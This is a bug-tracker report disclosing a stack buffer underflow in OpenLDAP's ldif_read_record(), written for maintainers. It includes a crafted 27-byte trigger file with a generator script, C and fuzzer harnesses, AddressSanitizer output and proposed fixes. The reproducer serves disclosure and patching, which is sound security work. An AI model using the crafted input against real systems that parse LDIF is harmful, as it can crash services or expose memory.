https://bugs.openldap.org/show_bug.cgi?id=10431
Issue ID: 10431 Summary: Stack Buffer Underflow in ldif_read_record causes Out-of-Bounds Read Product: OpenLDAP Version: unspecified Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs@openldap.org Reporter: zesheng@tamu.edu Target Milestone: ---
# Summary
A stack buffer underflow vulnerability in OpenLDAP's `ldif_read_record()` function allows an attacker to trigger out-of-bounds memory reads when processing malformed LDIF data, potentially leading to information disclosure or crashes.
## Root Cause
The vulnerability exists in `libraries/libldap/ldif.c` at line 803. When `fgets()` returns NULL and sets `len = 0`, the loop increment expression `last_ch = line[len-1]` accesses `line[-1]`, causing a stack buffer underflow.
### Vulnerable Code (ldif.c:799-803) ```c int ldif_read_record( LDIFFP *lfp, unsigned long *lno, char **bufp, int *buflenp ) { char line[LDIF_MAXLINE], *nbufp; // line buffer starts at offset 32 ber_len_t lcur = 0, len; int last_ch = '\n', found_entry = 0, stop, top_comment = 0;
for ( stop = 0; !stop; last_ch = line[len-1] ) { // BUG: when len=0, accesses line[-1] // ... if ( fgets( line, sizeof( line ), lfp->fp ) == NULL ) { // ... stop = 1; len = 0; // len is set to 0 here } // ... } // At loop increment: line[len-1] = line[-1] = UNDERFLOW! } ```
## PoC
### Trigger file
A crafted LDIF file (`poc`, 27 bytes) that triggers the underflow:
``` hexdump -C poc: 00000000 00 00 00 00 01 00 00 00 64 74 65 21 73 74 2c 64 |........dte!st,d| 00000010 63 3d ff 65 78 64 63 73 74 77 6f |c=.exdcstwo| ```
### How to generate poc
```python # generate_poc.py data = bytes([ 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x64, 0x74, 0x65, 0x21, 0x73, 0x74, 0x2c, 0x64, 0x63, 0x3d, 0xff, 0x65, 0x78, 0x64, 0x63, 0x73, 0x74, 0x77, 0x6f ]) with open("poc", "wb") as f: f.write(data) ```
---
## Trigger Method 1: Direct API Call
```c // test_ldif.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldif.h>
int main(int argc, char **argv) { FILE *f = fopen("poc", "rb"); fseek(f, 0, SEEK_END); long size = ftell(f); fseek(f, 0, SEEK_SET);
char *input = malloc(size + 1); fread(input, 1, size, f); input[size] = '\0'; fclose(f);
LDIFFP *fp = ldif_open_mem(input, size, "r"); if (fp) { unsigned long lineno = 0; char *buf = NULL; int buflen = 0;
// This triggers the vulnerability ldif_read_record(fp, &lineno, &buf, &buflen);
if (buf) ber_memfree(buf); ldif_close(fp); } free(input); return 0; } ```
**Build and run:** ```bash # Build OpenLDAP with AddressSanitizer cd openldap ./configure CC=clang CFLAGS="-fsanitize=address -g" --without-tls make
# Compile and run test clang -fsanitize=address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ test_ldif.c -o test_ldif -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs
./test_ldif ```
**Output:** ``` ==PID==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fff... at pc 0x... bp 0x... sp 0x... READ of size 1 at 0x7fff... thread T0 #0 0x... in ldif_read_record libraries/libldap/ldif.c:803:37
Address 0x7fff... is located in stack of thread T0 at offset 31 in frame #0 0x... in ldif_read_record libraries/libldap/ldif.c:798
This frame has 1 object(s): [32, 4128) 'line' (line 799) <== Memory access at offset 31 underflows this variable
SUMMARY: AddressSanitizer: stack-buffer-underflow ldif.c:803:37 in ldif_read_record ```
---
## Trigger Method 2: Fuzzer
```c // fuzz_ldif.c #include <stdint.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldif.h>
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size == 0 || size > 65536) return 0;
char *input = (char *)malloc(size + 1); if (!input) return 0; memcpy(input, data, size); input[size] = '\0';
char *mem_copy = (char *)malloc(size + 1); if (mem_copy) { memcpy(mem_copy, data, size); mem_copy[size] = '\0';
LDIFFP *fp = ldif_open_mem(mem_copy, size, "r"); if (fp) { unsigned long lineno = 0; char *buf = NULL; int buflen = 0; int count = 0;
while (count < 100) { int rc = ldif_read_record(fp, &lineno, &buf, &buflen); if (rc <= 0) break; count++; }
if (buf) ber_memfree(buf); ldif_close(fp); } free(mem_copy); }
free(input); return 0; } ```
**Build and run:** ```bash clang -fsanitize=fuzzer,address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ fuzz_ldif.c -o fuzz_ldif -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs
mkdir corpus && cp poc corpus/ ./fuzz_ldif corpus/ ```
---
## Impact
| Aspect | Details | |--------|---------| | **Type** | Out-of-Bounds Read / Information Disclosure | | **Severity** | High | | **Attack Vector** | Malicious LDIF file | | **Affected Components** | `ldif_read_record()`, libldap | | **Affected Applications** | Any application using libldap to parse LDIF (slapadd, ldapmodify, custom apps) | | **CWE** | CWE-124 (Buffer Underwrite / Buffer Underflow) |
---
## Suggested Fix
Add a check to ensure `len > 0` before accessing `line[len-1]`:
```c for ( stop = 0; !stop; ) { // ... existing code ...
// At end of loop body, before continuing: if (len > 0) { last_ch = line[len-1]; } // Or move len=0 case handling before the loop increment } ```
Alternative fix - initialize `len` to a safe value and guard the access:
```c for ( stop = 0; !stop; last_ch = (len > 0) ? line[len-1] : '\n' ) { ```